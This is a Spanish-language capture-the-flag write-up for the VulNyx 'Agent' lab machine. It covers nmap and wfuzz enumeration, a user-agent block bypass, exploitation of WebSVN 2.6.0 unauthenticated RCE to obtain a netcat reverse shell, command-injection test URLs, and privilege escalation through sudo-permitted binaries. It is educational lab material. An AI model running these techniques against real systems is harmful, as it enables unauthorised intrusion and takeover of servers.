Enumeración de Servicios y puertos expuestos a la red.
Como es común en las máquinas desplegadas y virtualizadas en red local, se identifica la IP (host) de la VM víctima que este caso se apoda "Agent" y se puede utilizar la siguiente combinación de parámetros y filtros para un output optimizado.
Tabla descriptiva de los parámetros y filtros utilizados en la ejecución de arp-scan:
* arp-scan -l
* grep "08"
* sed '2q;d'
* awk {'print $1'}
Orden de sistema que permite listar con "-l" todos los dispositivos conectados en red local.
Se pinta por pantalla solo las líneas que contengan el dígito "08" dado que las MAC de virtual box se tipifican siempre por este dígito.
Con sed se indica que además se pinta únicamente la línea 2 del output.
Con awk se pinta y delimita por la primera cadena de caracteres de la línea pintada.
Se prosigue con la herramienta nmap realizando dos escaneos, el primero más rápido al sincronizar con los siguientes parámetros:
-sS
-Pn
-n
--min-rate
-p-
Sincronización TCP.
Omitir el descubrimiento de host.
No realizar resolución de DNS.
Enviar un mínimo de paquetes por segundo.
Escanear todo el rango de puertos (65535).
┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# nmap -sS -Pn -p- -n --min-rate=6969 192.168.1.100
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-18 13:37 EST
Nmap scan report for 192.168.1.100
Host is up (0.00042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:A8:E8:35 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 3.56 seconds
Una vez se recopila el resultado del primer sondeo al activo, se procede con uno más centrado en extraer información de estos dos servicios abiertos, SSH por puerto 22 y HTTP por puerto 80. Para ello se ha utilizo los siguientes parámetros.
-sCV
-p22,80
-T4
-A
-oG
-V para probar los puertos abiertos y comprobar la versión.
-C para utilizar los scripts de NSE por defecto de nmap.
Estipulo que puertos serán escaneados.
Marco un nivel 4 en velocidad de las perticiones.
Dectar y versionar trazas del sistema operativo.
Guardo el output en un archivo txt, en formato grepeable.
┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# nmap -sCV -p22,80 -A -T4 192.168.1.100 -oG nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-18 16:12 EST
Nmap scan report for 192.168.1.100
Host is up (0.00048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 a9a852f3cdec0d5b5ff3af5b3cdb76b6 (ECDSA)
|_ 256 73f58e440cb90ae0e7310c04ac7efffd (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
MAC Address: 08:00:27:A8:E8:35 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.48 ms 192.168.1.100
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
Ahora se comprueba estas versiones en las bases de datos de vulnerabilidades existentes, se adjunta una tabla documental sobre SSH y el gestor de contenido web NGINX
searchsploit -u
En la tercera parte del proceso de instalación se señalan tres aspectos de interés:
El identificativo de paquetería que se utiliza para la actualización.
Los posibles paquetes que se pueden actualizar en sistema.
Los paquetes nuevos a instalar.
La actualización suele tardar unos minutos pero si el sistema lleva tiempo sin actualizar los repositorios generales dependientes de Kali Linux o aquellos usados para searchsploit, puede tardar mucho más tiempo así que paciencia.
En el siguiente desplegable se puede observar el output que corresponde a la actualización.
Output/Salida de la actualización (despliégame).
┌──(root㉿maritrini)-[/home/kali/vulnyx/agent]
└─# searchsploit -u
[i] Updating via apt package management (Expect weekly-ish updates): exploitdb
Get:1 http://kali.download/kali kali-rolling InRelease [41.2 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 Packages [19.4 MB]
Get:3 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [45.7 MB]
Get:4 http://kali.download/kali kali-rolling/non-free amd64 Packages [226 kB]
Fetched 65.4 MB in 13s (4966 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
1578 packages can be upgraded. Run 'apt list --upgradable' to see them.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages will be upgraded:
exploitdb
1 upgraded, 0 newly installed, 0 to remove and 1577 not upgraded.
Need to get 30.2 MB of archives.
After this operation, 2665 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 exploitdb all 20231125-0kali1 [30.2 MB]
Fetched 30.2 MB in 1s (20.5 MB/s)
(Reading database ... 398880 files and directories currently installed.)
Preparing to unpack .../exploitdb_20231125-0kali1_all.deb ...
Unpacking exploitdb (20231125-0kali1) over (20230301-0kali1) ...
Setting up exploitdb (20231125-0kali1) ...
Processing triggers for man-db (2.11.2-1) ...
Processing triggers for kali-menu (2023.1.7) ...
[*] apt update finished
[i] Updating via apt package management (Expect weekly-ish updates): exploitdb-papers
Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
1577 packages can be upgraded. Run 'apt list --upgradable' to see them.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
exploitdb-papers
0 upgraded, 1 newly installed, 0 to remove and 1577 not upgraded.
Need to get 2561 MB of archives.
After this operation, 2952 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 exploitdb-papers all 20221122-0kali1 [2561 MB]
Fetched 2561 MB in 1min 59s (21.5 MB/s)
Selecting previously unselected package exploitdb-papers.
(Reading database ... 399583 files and directories currently installed.)
Preparing to unpack .../exploitdb-papers_20221122-0kali1_all.deb ...
Unpacking exploitdb-papers (20221122-0kali1) ...
Setting up exploitdb-papers (20221122-0kali1) ...
Processing triggers for kali-menu (2023.1.7) ...
[*] apt update finished
Ahora se ejecuta searchsploit en busca de ataques para SSH y NGINX.
El output indica que no se puede realizar la conexión:
┌──(root㉿maritrini)-[/home/kali]
└─# testssl 192.168.1.100:80
###########################################################
testssl 3.0.8 from https://testssl.sh/
This program is free software. Distribution and
modification under GPLv2 permitted.
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!
Please file bugs @ https://testssl.sh/bugs/
###########################################################
Using "OpenSSL 3.0.8 7 Feb 2023 (Library: OpenSSL 3.0.8 7 Feb 2023)" [~81 ciphers]
on maritrini:/usr/bin/openssl
(built: "Feb 7 20:42:42 2023", platform: "debian-amd64")
Start 2023-12-22 12:49:01 -->> 192.168.1.100:80 (192.168.1.100) <<--
rDNS (192.168.1.100): --
192.168.1.100:80 doesn't seem to be a TLS/SSL enabled server
The results might look ok but they could be nonsense. Really proceed ? ("yes" to continue) --> yes
Service detected: Couldn't determine what's running on port 80, assuming no HTTP service => skipping all HTTP checks
Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 not offered
TLS 1.1 not offered
TLS 1.2 not offered
TLS 1.3 not offered
Tras varias pruebas realizadas y gracias al recuerdo de un antiguo problema solucionando una petición de salida de un dispositivo hacia una url de internet (habilitar el flujo a través de un firewall en un servidor gestionado con Fedora WorkStation) y sumando la pista del nombre de la máquina CTF "Agent", se encuentra la técnica que permite la correcta enumeración de directorios y extensiones.
Esta técnica se basa en comprobar si el "user-agent" que está marcado por defecto en las peticiones, tiene un bloqueo de algún nivel y por ese motivo se recibe una respuesta 403. Curl permite la opción de utilizar un agente modificado en las peticiones y revela que efectivamente ahora se puede conectar la petición.
┌──(root㉿maritrini)-[/home/kali]
└─# curl -I 192.168.1.100 -A "Delcious-Agent"
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Fri, 22 Dec 2023 18:00:59 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Sat, 09 Dec 2023 16:50:55 GMT
Connection: keep-alive
ETag: "65749aef-267"
Accept-Ranges: bytes
┌──(root㉿maritrini)-[/home/kali]
└─# wfuzz -c --hc=404,403 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -H "User-Agent: Delicius-Agent" -u 192.168.1.100/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.100/FUZZ
Total requests: 4715
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002194: 200 23 L 75 W 615 Ch "index.html"
000004512: 301 7 L 11 W 169 Ch "websvn"
Total time: 6.968888
Processed Requests: 4715
Filtered Requests: 4713
Requests/sec.: 676.5785
Se accede por navegador gráfico y se observa una redirección al archivo listing.php que resuelve en un panel web de gestión.
Explotación de vulnerabilidad en el software WebSVN.
La versión que tiene el activo es una versión vulnerable por lo que se investiga en las diferentes bases de datos para recopilar información de como se efectúa la técnica de explotación.
En este caso, se utiliza la base de datos local (la cual se explica en un apartado anterior) y se realiza una búsqueda por versión y software, encontrando como resultado el exploit necesario para realizar el ataque de ejecución de comandos remota.
┌──(root㉿maritrini)-[/home/kali]
└─# searchsploit websvn 2.6.0
--------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------- ---------------------------------
Websvn 2.6.0 - Remote Code Execution (Unauthenticated) | php/webapps/50042.py
--------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
A través del parámetro "-m" se copia el archivo en Python que alberga el código del exploit, se debe indicar el identificador o nombre del exploit. Esta copia se genera en el directorio actual en donde se encuentre la sesión de tty donde se ejecuta el comando, una vez realizada la copia se cambia el valor de la variable PAYLOAD por comandos que interactúen con el servidor.
Se revisa el código para entender lo que realiza por detrás el código programado en Python que permite automatizar el proceso.
Lo interesante de esta captura está en los recuadros rojos, donde se aprecia la variable de PAYLOAD que se debe modificar y la última parte que realiza la petición. La curiosidad siempre es buena por lo que se intenta realizar el proceso de forma manual para consensuar si la lectura del código es correcta. Se parte de la variable REQUEST_PAYLOAD que alberga una extensión del buscador de WebSVN (esto viene especificado en los CVE que están disponibles en el apartado anterior), se utiliza la url combinando la extensión y se obtiene que desde el navegador la respuesta es un 404 pero utilizando curl la respuesta cambia a 403.
┌──(root㉿maritrini)-[/home/kali]
└─# curl -I http://192.168.1.100/search.php?search=%22;{};%22 --random-agent
HTTP/1.1 403 Forbidden
Server: nginx/1.22.1
Date: Sun, 24 Dec 2023 15:20:10 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive
fg: %22: no such job
┌──(root㉿maritrini)-[/home/kali]
└─# curl -I http://192.168.1.100/search.php?search=%22;{};%22
HTTP/1.1 403 Forbidden
Server: nginx/1.22.1
Date: Sun, 24 Dec 2023 15:20:22 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive
fg: %22: no such job
La ejecución de una revershell con bash no es posible manualmente con solo utilizar la petición directamente por lo que se examina un poco más el código de Python, utiliza el módulo anexo de "quote_plus" para formatear el tipo de petición que alberga el PAYLOAD, en la documentación oficial de esta librería se especifica las funciones del módulo.
La comprobación manual de este paso no surte efecto y queda como tarea pendiente para esta wiki, entender como gestionar este RCE de forma manual, mientras tanto para la finalización de este writeup, se continua con el uso del exploit.
Se añade la IP de nuestro host (sistema) y un puerto que no esté siendo usado por ningún servicio tanto en nuestro sistema como en el del host atacado.
El siguiente paso es habilitar un puerto TCP con netcat en el puerto 6969 y así mismo ejecutar el exploit programado en Python que acabamos de modificar con nuestra IP.
┌──(root㉿maritrini)-[/home/kali]
└─# nc -lvnp 6969
listening on [any] 6969 ...
┌──(root㉿maritrini)-[/home/kali]
└─# nc -lvnp 6969
listening on [any] 6969 ...
connect to [192.168.1.62] from (UNKNOWN) [192.168.1.100] 56176
bash: cannot set terminal process group (422): Inappropriate ioctl for device
bash: no job control in this shell
www-data@agent:~/html/websvn$ id;whoami;hostname
id;whoami;hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
agent
www-data@agent:~/html/websvn$
Se obtiene una reverseshell bajo usuario www-data y se accede al servidor con una tty no interactiva.
Enumeración y Pivoting de usuarios en sistema.
Para la enumeración se comienza con la lectura del archivo passwd que almacena los usuarios en sistema además de datos de interés como si tienen directorio o una shell con bash.
www-data@agent:/$ cat /etc/passwd | grep sh
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
dustin:x:1000:1000:dustin:/home/dustin:/bin/bash
Por lo que parece, el camino a seguir seguramente se oriente hacia el pivoting hacia el usuario dustin. Después de enumerar por permisos especiales y buscar por unidades a través de systemd, se ejecuta enumeración de permisos SUDO por usuario y se obtiene resultado positivo.
www-data@agent:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on agent:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User www-data may run the following commands on agent:
(dustin) NOPASSWD: /usr/bin/c99
Se añade el usuario dustin a la parametrización y se obtiene una shell con el nuevo usuario, completando con exito el pivoting de usuario.
Explotación y escalada hacia usuario administrador (root).
Desde el usuario dustin y siguiendo la enumeración anterior, se comprueba permisos SUDO y se puede ejecutar el binario ssh-agent (¿otro guiño al título de la máquina quizás?) sin contraseña y como usuario root. La escalada a root es inminente, se sigue la misma metodología que en el apartado anterior y se encuentra el comando necesario en la base de datos de CTFObins para obtener una shell con el usuario root abusando de los permisos del binario a ejecutar.
Finalmente la máquina está pwneada y se accede a la lectura de las flags, cada una en el directorio correspondiente al usuario dustin y al de root.
Artículo elaborado por: ShellDredd
Gracias por leer este artículo y a la plataforma VulNyx por brindar estas máquinas a la comunidad.
Y ahora a vuestra casa a comer polvorones y beber champán del barato. Feliz Navidad.
Si aún no conoces los rangos y tipologías de todos los puertos que a día de hoy conforman la estructura para servicios en red estipulada por la , puedes aprender más sobre ello en este .
Notas documentadas de las versiones actuales:
Notas documentadas de las versiones:
Último CVE crítico parcheado en la versión actual encontrada:
Se comprueba con a nivel de sistema si existe algún exploit usable para las versiones encontradas pero antes, se recomienda actualizar la base de datos local referente a en el sistema, tal como se especifica a continuación.
Como es común en otros writeups, se comprueba tecnologías y respuestas a peticiones con whatweb (también se puede ) y curl.
Con un 403 se procede con la enumeración de directorios y extensiones dependientes de la IP con diferentes herramientas como , , , entre otras, no se consigue ningún resultado con respuesta 200 o 301 por lo que después de investigar en diferentes caminos a seguir, se ejecuta un al 80 para verificar un posible puerto trampa que ejerza como SSL/TLS del que extraer información.
La herramienta alberga una parametrización que permite utilizar un agente en específico, lo que devuelve un resultado positivo revelando el "index.html" y "websvn".
Se procede con una enumeración de vulnerabilidades para la versión del panel de gestión el cual permite funciones de comprobación y revisión de archivos o repositorios así como sus versiones de modificación. En este caso la versión es la 2.6.0 y se observa en el footer de la propia interfáz web.
Como es común en , a continuación está disponible una tabla con toda la documentación anexa correspondiente a la información recopilada tras la investigación.
Web oficial WebSVN:
Tenable:
Mitre:
ExploitDB:
Vuldb:
Incibe:
Packet Storm:
ExploitDB:
Vulners:
Efectivamente aquí está el salto de usuario, abusando de los permisos otorgados por sudo para ejecutar el binario c99 como usuario dustin sin contraseña. Se hace una búsqueda en para comprobar si está reportado este binario y así es.